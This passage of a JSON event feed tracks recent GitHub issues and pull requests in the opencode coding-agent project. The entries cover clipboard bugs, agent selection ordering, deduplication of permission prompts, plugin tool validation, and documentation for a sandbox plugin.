streams) - #40210 (complements; its tool conversion only reads chat-style `tool.function?.name`, this also handles the Responses-style top-level `name` that Codex sends, and adds tests with the real shape)",
          "url": "https://github.com/anomalyco/opencode/pull/42231",
          "createdAt": "2026-08-13T03:04:10Z",
          "updatedAt": "2026-08-13T05:32:48Z",
          "timestamp": "2026-08-13T05:32:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [
            "needs:issue"
          ],
          "author": "miups",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d6a2f7236d73f4ff6821",
        "signalId": "github:anomalyco/opencode:pull_request:42233",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42233",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): detach clipboard helper processes to survive SIGTSTP",
          "text": "## Bug Clipboard helper processes spawned by `packages/tui/src/clipboard.ts` (e.g. `wl-copy` on Wayland) inherited opencode's process group. `wl-copy` forks into the background to keep serving the clipboard selection after the initiating process exits — but since it shares opencode's pgid, sending `Ctrl-Z` to the terminal delivers `SIGTSTP` to the whole foreground process group, suspending the still-running `wl-copy` along with opencode. Any subsequent paste then hangs indefinitely waiting on the stopped clipboard provider until it's manually resumed with `SIGCONT`. ## Fix Pass `detached: true` when spawning the clipboard helper in the shared `command()` helper, giving it its own process group so it's unaffected by signals sent to opencode's foreground group. ## Verification Reproduced the underlying mechanism locally (macOS, Node `child_process`) since I don't have a Wayland session on hand: - Spawned a long-running child without `detached`: it shares the parent's pgid (`ps` shows same PGID as parent), and `kill -TSTP` on the parent's process group stops it too. - Spawned the same child with `detached: true`: it gets its own pgid/session (`ps` shows `STAT=Ss`, distinct PGID), and is unaffected by `SIGTSTP` sent to the original parent's process group. This is exactly the mechanism described in the report, so the fix directly addresses the root cause. Also ran the existing test suite and typecheck: - `bun test` in `packages/tui`: 193 pass, 0 fail (existing `clipboard.test.ts` covers `copyCommand`, unaffected by this change) - `bun turbo typecheck`: 30/30 packages pass Small, isolated change — one spawn-option addition, no behavior change on macOS/Windows paths (`osascript`/`powershell.exe` are short-lived and exit on their own; `detached` is harmless for them too). *Note: I'm Atlas, an AI agent operating under Gordon Lee's (@g0rdonL) direction, opening this PR on his behalf after independently verifying the fix.*",
          "url": "https://github.com/anomalyco/opencode/pull/42233",
          "createdAt": "2026-08-13T03:23:46Z",
          "updatedAt": "2026-08-13T05:32:46Z",
          "timestamp": "2026-08-13T05:32:46Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "needs:issue"
          ],
          "author": "g0rdonL",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:20b4a10a2f72dc013945",
        "signalId": "github:anomalyco/opencode:issue:13497",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:13497",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Zen dashboard - usage totals, per-model breakdown, and invoices",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request The Zen usage history at `opencode.ai/workspace/...` currently shows individual API requests with their model, token counts, and cost. This is useful but missing some basics: - **Usage totals:** there's no way to see total spend for a given period (day/week/month). You have to mentally sum up rows of $0.0000 entries. - **Per-model breakdown** - no aggregation by model. If I'm using minimax-m2.5, glm-4.7, and claude-sonnet-4-5 in the same period, I'd like to see how much each cost me. - **Invoices** - there's no way to download or view invoices. This is a blocker for anyone who needs to expense or account for Zen usage. Even a simple summary table at the top (total input tokens, total output tokens, total cost, grouped by model and time period) would be very helpful Thank you!",
          "url": "https://github.com/anomalyco/opencode/issues/13497",
          "createdAt": "2026-02-13T16:13:57Z",
          "updatedAt": "2026-08-13T05:30:14Z",
          "timestamp": "2026-08-13T05:30:14Z",
          "metrics": {
            "reactions": 10,
            "comments": 6
          },
          "labels": [],
          "author": "hrdkbhatnagar",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b33d9ab909a75648271f",
        "signalId": "github:anomalyco/opencode:issue:32144",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32144",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "CJK characters garbled when copying text via OSC52 clipboard (WSL2 + VSCode terminal)",
          "text": "## Bug Description When copying text containing CJK characters (Chinese, Japanese, Korean) from opencode running in VSCode integrated terminal on WSL2, the pasted result is garbled/mojibake. ASCII text copies correctly. This is a known issue in the upstream OpenTUI framework's OSC52 clipboard implementation. The same bug was reported and fixed in charmbracelet/crush (see related issues below). ## Environment - opencode: v1.17.4 - OS: WSL2 (Ubuntu) on Windows 11 - Terminal: VSCode integrated terminal v1.124.0 - LANG: C.UTF-8 (WSL), zh_CN.UTF-8 (VSCode terminal env) - TERM_PROGRAM: vscode ## Reproduction 1. Start opencode in VSCode integrated terminal on WSL2 2. Use `Ctrl+↑` / `Ctrl+↓` to navigate to a message containing Chinese text 3. Press `Ctrl+X Y` to copy the message 4. Paste elsewhere → garbled text ## Root Cause opencode's TUI framework (OpenTUI `@opentui/core@0.3.4`) uses `copyToClipboardOSC52` which sends `\\033]52;c;<base64>\\007` to the terminal. The OSC52 implementation has a bug handling multi-byte UTF-8 characters — likely truncating at byte boundaries instead of character boundaries during base64 encoding. Evidence from binary: - `copyToClipboardOSC52` function present - `isOsc52Term` detection logic present - `terminal.isOsc52Term` check present ## Related Issues - **charmbracelet/crush#839** — \"Console copy results in garbled Japanese text\" (same bug, WSL2 + Windows) - **charmbracelet/crush#2155** — \"Copy words in terminal, only english and numbers are copied\" (fixed in crush v0.42.0+) - **charmbracelet/crush#851** — \"Extra zero-width characters appear when entering Chinese text\" - **sst/opencode#263** — \"I can't copy messages\" (related: clipboard not working) ## Suggested Fix Port the CJK clipboard fix from crush v0.42.0+ back to OpenTUI, or add a fallback to system clipboard (e.g., `clip.exe` on WSL, `pbcopy` on macOS, `xclip`/`xsel` on Linux) when OSC52 is detected but CJK characters are present. ## Workaround Use VSCode terminal's native copy instead: select text with mouse → `Ctrl+Shift+C` to copy. This bypasses OSC52 and handles CJK correctly.",
          "url": "https://github.com/anomalyco/opencode/issues/32144",
          "createdAt": "2026-06-13T04:29:45Z",
          "updatedAt": "2026-08-13T05:23:15Z",
          "timestamp": "2026-08-13T05:23:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "xieze",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:40557c2fadd2287d906f",
        "signalId": "github:anomalyco/opencode:issue:37225",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:37225",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "tui: default_agent is ignored on startup in V2",
          "text": "## Summary The OpenCode V2 full TUI ignores `default_agent` when starting a new session and selects `Build` instead. This occurs with both built-in and custom primary agents. ## Environment - opencode version: `opencode2 v0.0.0-next-15636` - OS: Linux 7.1.2-arch3-1, x86_64 - Terminal: tmux (`TERM_PROGRAM=tmux`, `TERM=xterm-256color`, `COLORTERM=truecolor`) - Shell: `/bin/zsh` - Install/channel: next - Active plugins: None in the clean reproduction. The normal environment has local `goal-mode` and `tmux-status` plugins, but the issue was reproduced with an isolated `XDG_CONFIG_HOME` and all plugins disabled. ## Reproduction 1. Start the full TUI with an isolated configuration and the built-in `plan` agent configured as the default: ```sh XDG_CONFIG_HOME=/tmp/opencode-clean \\ OPENCODE_CONFIG_CONTENT='{\"default_agent\":\"plan\",\"plugins\":[\"-*\"]}' \\ opencode2 --standalone ``` 2. Type any text in the prompt so the selected agent appears in the status line. 3. Observe that the status line shows `Build`. The issue also reproduces with a custom primary agent: ```jsonc { \"default_agent\": \"full\", \"agents\": { \"full\": { \"description\": \"Build without permission prompts\", \"mode\": \"primary\", \"permissions\": [ { \"action\": \"*\", \"resource\": \"*\", \"effect\": \"allow\" } ] } } } ``` ## Expected Behavior The full TUI should initially select the agent configured by `default_agent`. With the minimal reproduction it should start in `Plan`; with the custom configuration it should start in `full`. ## Actual Behavior The full TUI always starts in `Build`. The agent catalog is returned with `Build` first, and the TUI selects that first entry instead of the configured default. ## Additional Context - Reproduces consistently. - Reproduces with the built-in `plan` agent, so it is not specific to custom agents. - Reproduces with all plugins disabled and isolated global configuration. - Restarting the shared OpenCode service does not help. - Creating a session through the API with `agent: \"full\"` and opening it using `opencode2 --session <id>` still initializes the TUI selector to `Build`. - `opencode2 mini --agent full` selects the requested agent, but changes to the minimal interface and is not a workaround for the full TUI. - Immediate manual workaround: press `Shift+Tab` after startup when the desired custom agent is the last catalog entry.",
          "url": "https://github.com/anomalyco/opencode/issues/37225",
          "createdAt": "2026-07-16T05:15:47Z",
          "updatedAt": "2026-08-13T05:14:19Z",
          "timestamp": "2026-08-13T05:14:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "2.0"
          ],
          "author": "chrisae9",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c450863b23cc9f1fae74",
        "signalId": "github:anomalyco/opencode:pull_request:42243",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42243",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): list default agent first",
          "text": "## Summary - order the resolved default agent first in agent list responses - preserve the existing order of all remaining agents - cover configured-default ordering in the core agent service ## Checks - `bun test test/agent.test.ts` (packages/core) - `bun typecheck` (packages/core) Requested by: @thdxr (Dax Raad via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42243",
          "createdAt": "2026-08-13T04:56:35Z",
          "updatedAt": "2026-08-13T05:12:51Z",
          "timestamp": "2026-08-13T05:12:51Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "thdxr"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:3f0c016777a487bdc8b8",
        "signalId": "github:anomalyco/opencode:issue:6056",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:6056",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "moonshot AI kimi k2 all get error.",
          "text": "### Description Hello. Moonshot AI can not be used for now. `Invalid request: the message at position 5 with role 'assistant' must not be empty` all Kimi K2 models shows same error. ### OpenCode version 1.0.193 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/6056",
          "createdAt": "2025-12-23T18:58:51Z",
          "updatedAt": "2026-08-13T05:11:42Z",
          "timestamp": "2026-08-13T05:11:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 7
          },
          "labels": [
            "bug"
          ],
          "author": "magic-thomas",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:bf4a046436cfcffe6e10",
        "signalId": "github:anomalyco/opencode:pull_request:42244",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42244",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix: deduplicate identical permission prompts in same session",
          "text": "### Issue for this PR Closes #41849 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? **Problem:** When two identical permission requests (same `sessionID`, `permission`, and `patterns`) arrive within the same second, each creates an independent pending prompt. The user has to answer every duplicate individually — the reporter measured 141 groups of duplicates, worst case 5 identical prompts in a row. **Root cause:** `Permission.ask` in `packages/opencode/src/permission/index.ts` generates a new unique request ID and adds it to the `pending` map on every call, without checking whether an equivalent request is already pending. Both prompts block independently, so answering one does not dismiss the other. **Fix:** Before creating a new request, scan the `pending` map for an entry with the same `(sessionID, permission, patterns)`. If found, await the existing entry's `Deferred` instead of creating a duplicate. When the user responds — approve, reject, or \"always\" — all waiters proceed together via the shared deferred. The dedup key is `(sessionID, permission, patterns)`. Requests with different patterns (e.g. `bash [\"ls\"]` vs `bash [\"rm\"]`) or from different sessions are not deduplicated. ### How did you verify your code works? Ran `bun test test/permission/next.test.ts` — all 81 tests pass, including: - **New:** `\"ask - deduplicates identical permission requests in same session\"` — two identical asks produce only 1 pending request; a single reply resolves both callers. - **New:** `\"ask - does not deduplicate requests with different patterns\"` — two asks with different patterns (`[\"ls\"]` vs `[\"rm\"]`) produce 2 pending requests as before. - **Updated:** `\"reply - always resolves matching pending requests in same session\"` — adjusted to use different patterns (`[\"ls\"]` / `[\"rm\"]`) so the cascade behavior is still tested without being deduplicated. ### Screenshots / recordings N/A ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42244",
          "createdAt": "2026-08-13T04:58:30Z",
          "updatedAt": "2026-08-13T04:58:38Z",
          "timestamp": "2026-08-13T04:58:38Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "weiconghe",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:01643731e0348a7141bc",
        "signalId": "github:anomalyco/opencode:issue:42026",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42026",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Missing tool description (undefined) on a plugin tool causes ALL sessions to crash with \"Expected string, got undefined at [description]\"",
          "text": "## Summary When a local plugin registers tools via `ctx.tool.transform` → `tools.add({...})`, and one tool is missing its required `description` string field, it does NOT just make that one tool unusable — it breaks every session and every message, including a trivial \"Reply with exactly: SMOKE_OK\" that never touches the tool. The whole chat fails to get a reply at all. ## Environment - opencode version: 0.0.0-next-17288 (also reproduced on next-17190 / next-17194 / next-17276) - OS: Windows 10 (win32 x64) - Channel: next (npm global) - Active plugins: local plugin at `~/.config/opencode/plugins/opencode-mobile-use/index.ts` ## Reproduction 1. Create a local plugin registering several tools via `ctx.tool.transform`, all with proper `name` + `description` + `input` + `execute`, except one tool that omits `description` entirely. 2. Run any session: `opencode2 run \"Reply with exactly: SMOKE_OK\"`. 3. Result: the command exits non-zero with: ``` Error: Expected string, got undefined at [\"description\"] ``` In the daemon log the stack is: ``` Failed to drain Session Error: Expected string, got undefined at [\"description\"] at SchemaParser.js:142:15 at ../ai/src/schema/messages.ts:244:88 at ../ai/src/llm.ts:59:19 at SessionModelRequest.prepare (../core/src/session/model-request.ts:218:27) at SessionRunner.callModel ... at SessionRunner.drain ... ``` ## Actual Behavior Every session dies during `SessionModelRequest.prepare` — the request is built from the full message + entire tool catalog, and a single tool with `description: undefined` fails schema validation for the whole thing. The model is never even called. No reply is ever produced. The failure is silent from the user's perspective in the TUI — messages just stop getting answers. ## Expected Behavior - At minimum, a missing `description` on one tool should NOT crash all sessions — it should be gracefully skipped or surfaced as a per-tool warning (opencode has precedent for this: \"isolate invalid plugin tools during reload/materialize\", e.g. PR #37934, #35963). - Ideally opencode should validate plugin tool definitions at load/register time and emit a clear, actionable error naming the offending tool (`phone_type`) rather than an opaque `Expected string, got undefined at [\"description\"]` deep in schema parsing that gives zero indication which tool or field is broken. ## Additional Context - The bug is trigger-happy on config edits: a developer editing a plugin's description strings can silently delete one field and take down their whole opencode install. - This took a long debugging session to pin down because the stack trace gives no tool name, and the symptom (all sessions failing to reply) looks like a model/provider/auth/version problem rather than a missing field on one tool. - Error message clarity is the main ask: name the offending field/tool. A missing required field on a tool should be isolated, not fatal to the entire session.",
          "url": "https://github.com/anomalyco/opencode/issues/42026",
          "createdAt": "2026-08-12T13:35:44Z",
          "updatedAt": "2026-08-13T04:44:55Z",
          "timestamp": "2026-08-13T04:44:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "2.0"
          ],
          "author": "system1970",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b633b784e71b1fe1d7de",
        "signalId": "github:anomalyco/opencode:issue:25570",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:25570",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Support Multiple Skills in a Single Prompt — Critical for Multi-Framework Workflows",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## Description Currently, OpenCode does not support specifying multiple skills simultaneously in a single prompt. When I input multiple skill commands such as `/vue3 /vue-router-v4`, only the first skill (`/vue3`) is loaded and activated. The second skill (`/vue-router-v4`) is incorrectly treated as plain user input rather than being parsed and loaded as an additional skill. ## Current Behavior - **Input:** `/vue3 /vue-router-v4` - **Actual Result:** Only the `/vue3` skill is loaded. `/vue-router-v4` is passed as raw text to the model without skill activation. ## Expected Behavior Both `/vue3` and `/vue-router-v4` skills should be parsed, loaded, and activated concurrently, allowing the model to leverage the context and capabilities from multiple skills simultaneously within the same session. ## Use Case & Importance In real-world development, projects rarely rely on a single technology in isolation. For example: - A Vue 3 project almost always uses **Vue Router** alongside it. - A React project frequently requires both **React** and **React Router** context. - Full-stack tasks often involve both **frontend** and **backend** skills at the same time. Without support for multiple skills, users are forced to: 1. Choose only one skill and lose critical context from others. 2. Manually paste documentation or context for secondary technologies. 3. Break a single coherent task into multiple fragmented sessions. This limitation significantly reduces OpenCode's effectiveness for complex, multi-framework workflows and negatively impacts the overall developer experience. ## Request I would greatly appreciate it if the team could consider implementing multi-skill activation in a single prompt. This enhancement would be incredibly valuable for handling realistic development scenarios where multiple technologies intersect, and it would make OpenCode substantially more powerful for everyday use. Thank you for your time and for maintaining such a promising tool!",
          "url": "https://github.com/anomalyco/opencode/issues/25570",
          "createdAt": "2026-05-03T08:34:00Z",
          "updatedAt": "2026-08-13T04:43:39Z",
          "timestamp": "2026-08-13T04:43:39Z",
          "metrics": {
            "reactions": 18,
            "comments": 7
          },
          "labels": [],
          "author": "pengln",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4ce4441611e70b8ecb20",
        "signalId": "github:anomalyco/opencode:pull_request:42235",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42235",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): exit on empty non-interactive stdin",
          "text": "### Issue for this PR Closes #42234 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Exits before starting the TUI when stdin is non-interactive, reaches EOF, and no prompt was provided. This prevents OpenCode from holding an active exec session indefinitely and blocking auto-sleep. Docker reproduction: ```sh docker run -d --name opencode-eof node:22-bookworm-slim sleep infinity docker exec opencode-eof npm install -g opencode-ai@1.18.18 timeout -s KILL 8s docker exec opencode-eof opencode </dev/null docker top opencode-eof -eo pid,ppid,tty,stat,etime,args ``` ### How did you verify your code works? - Added a real CLI subprocess regression test with ignored stdin. - Ran the targeted TUI tests and repository typecheck. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42235",
          "createdAt": "2026-08-13T03:38:26Z",
          "updatedAt": "2026-08-13T04:34:29Z",
          "timestamp": "2026-08-13T04:34:29Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "xichen1997",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3bffa53349594e388acf",
        "signalId": "github:anomalyco/opencode:issue:42162",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42162",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Linux/Wayland: clipboard hangs after Ctrl-Z because wl-copy stays in OpenCode process group",
          "text": "### Description On Linux/Wayland, copying text from OpenCode and then suspending OpenCode with `Ctrl-Z` can leave the Wayland clipboard provider stopped. The result is that pasting into the same terminal after suspending OpenCode hangs indefinitely. This appears to happen because OpenCode spawns `wl-copy` in the same terminal process group. `wl-copy` then forks into the background to serve clipboard requests, but the clipboard-serving process remains in the same process group as OpenCode. When `Ctrl-Z` is pressed, the terminal sends `SIGTSTP` to the foreground process group, stopping both OpenCode and the `wl-copy` clipboard provider. The clipboard selection still references that stopped `wl-copy` process, so a subsequent paste waits on a provider that is suspended. Running `wl-copy` in a separate session/process group with `setsid` fixes the issue completely. ### Diagnosis After reproducing the issue, `wl-copy` can be observed as stopped: ```sh ps -o pid,ppid,pgid,sid,stat,tty,cmd -C wl-copy ``` The clipboard-serving `wl-copy` process has the same process group as OpenCode and its `STAT` contains `T` after `Ctrl-Z`. Resuming the stopped `wl-copy` process with `SIGCONT` allows the paste to proceed again. ### Confirmed workaround Running OpenCode with a private `wl-copy` wrapper that creates a new session fixes the problem: ```sh #!/usr/bin/env bash exec setsid /path/to/real/wl-copy \"$@\" ``` With this wrapper scoped only to OpenCode: 1. Copy from OpenCode. 2. Press `Ctrl-Z`. 3. Paste into the same terminal. The paste works normally. ### Likely cause OpenCode currently invokes `wl-copy` using a normal child-process spawn. `wl-copy` backgrounds itself by forking, but does not create a new process group/session, so the clipboard provider remains part of OpenCode's terminal job-control process group. This means `Ctrl-Z` suspends the clipboard provider along with OpenCode. ### Possible fix For the Wayland `wl-copy` backend, spawn the clipboard process in a separate process group/session so that it is not affected by terminal job-control signals sent to OpenCode. For example, on Unix this could be implemented using a detached child process / separate process group for `wl-copy` specifically. This probably should not be applied indiscriminately to every clipboard command, only to backends such as `wl-copy` whose clipboard ownership outlives the original write operation. ### Environment * OS: NixOS / Linux * Display server: Wayland * Compositor: Hyprland * Terminal: Alacritty * Clipboard backend: `wl-copy` / `wl-clipboard` ### Related #4283 reports more general Linux clipboard failures, but does not appear to cover this `Ctrl-Z` / process-group / `SIGTSTP` failure mode. ### Plugins headroom, serena ### OpenCode version 1.18.17 ### Steps to reproduce 1. Run OpenCode in a Wayland terminal. 2. Copy some text from OpenCode. 3. Press `Ctrl-Z` to suspend OpenCode. 4. Paste into the shell that is now in the foreground in the same terminal. 5. The paste hangs indefinitely. Pasting into another terminal before suspending OpenCode works normally. ### Screenshot and/or share link _No response_ ### Operating System NixOS 26 ### Terminal Alacritty",
          "url": "https://github.com/anomalyco/opencode/issues/42162",
          "createdAt": "2026-08-12T22:10:17Z",
          "updatedAt": "2026-08-13T04:32:09Z",
          "timestamp": "2026-08-13T04:32:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "ryjen",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:a8be3758de29e3f24a28",
        "signalId": "github:anomalyco/opencode:issue:42242",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42242",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Add opencode-sandbox to ecosystem documentation",
          "text": "- [x] I have verified this feature I am about to request has not been suggested before. ## Describe the enhancement you want to request Add [opencode-sandbox](https://github.com/isanchez31/opencode-sandbox-plugin) to the ecosystem documentation. It provides OS-level sandboxing for agent-executed bash commands using seatbelt on macOS and bubblewrap on Linux. Listing it makes this available third-party plugin easier for OpenCode users to discover. ## Difference from #41439 This is distinct from [opencode-docker](https://github.com/pkhamre/opencode-docker). That project runs the OpenCode CLI in a security-hardened Docker container; opencode-sandbox is a plugin that applies native, per-command isolation with macOS seatbelt or Linux bubblewrap, without Docker.",
          "url": "https://github.com/anomalyco/opencode/issues/42242",
          "createdAt": "2026-08-13T04:26:40Z",
          "updatedAt": "2026-08-13T04:32:06Z",
          "timestamp": "2026-08-13T04:32:06Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "isanchez31",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:098d930089e688f77ab3",
        "signalId": "github:anomalyco/opencode:pull_request:13570",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:13570",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: add opencode-sandbox to ecosystem plugins",
          "text": "### Issue for this PR Closes #42242 ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Adds [opencode-sandbox](https://github.com/isanchez31/opencode-sandbox-plugin) to the ecosystem list. The plugin provides OS-level sandboxing for agent-executed bash commands using seatbelt on macOS and bubblewrap on Linux. ### How did you verify your code works? Merged the branch with the current `dev` branch and ran `git diff --check` on the documentation change. Confirmed the resulting PR diff contains only the intended ecosystem-table entry. ### Screenshots / recordings Not applicable; this is a documentation-only change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/13570",
          "createdAt": "2026-02-14T08:15:56Z",
          "updatedAt": "2026-08-13T04:31:21Z",
          "timestamp": "2026-08-13T04:31:21Z",
          "metrics": {
            "reactions": 2,
            "comments": 0
          },
          "labels": [],
          "author": "isanchez31",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e473a2f6eacb712d920d",
        "signalId": "github:anomalyco/opencode:pull_request:42241",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42241",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(merman): support cherry-pick in GitGraph diagrams",
          "text": "### Issue for this PR N/A — feat PR (feature PRs skip issue requirement per contributing guidelines) ### Type of change - [x] New feature ### What does this PR do? Completes the GitGraph feature landed in #42179: the parser currently rejects `cherry-pick` with \"Cherry-pick is not supported\". This PR implements cherry-pick per Mermaid semantics: - `cherry-pick id: \"c1\"` (optional `tag:` override) appends a cherry-picked commit to the current branch, inheriting the source commit's message and tags - The source commit must already exist in the diagram; unknown references fail with a source diagnostic - Cherry-picked commits use a generated id (so the `commitById` render map stays unambiguous) and render with a hollow `◌` glyph in a dedicated `cherry` cell style, echoing Mermaid's dashed-circle representation ### How did you verify your code works? - Added tests in `packages/merman/src/gitgraph/diagram.test.ts`: parse + inherited message/tags + tag override, missing-id and unknown-reference errors, hollow-glyph rendering - Updated the two pre-existing assertions that expected the \"not supported\" error - `bun test` (packages/merman) — 327 pass - `tsgo --noEmit` (packages/merman) — clean ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42241",
          "createdAt": "2026-08-13T04:26:06Z",
          "updatedAt": "2026-08-13T04:26:14Z",
          "timestamp": "2026-08-13T04:26:14Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "Robin1987China",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:7148d47d297ab374985c",
        "signalId": "github:anomalyco/opencode:pull_request:42236",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42236",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(opencode): let tools opt into strict mode",
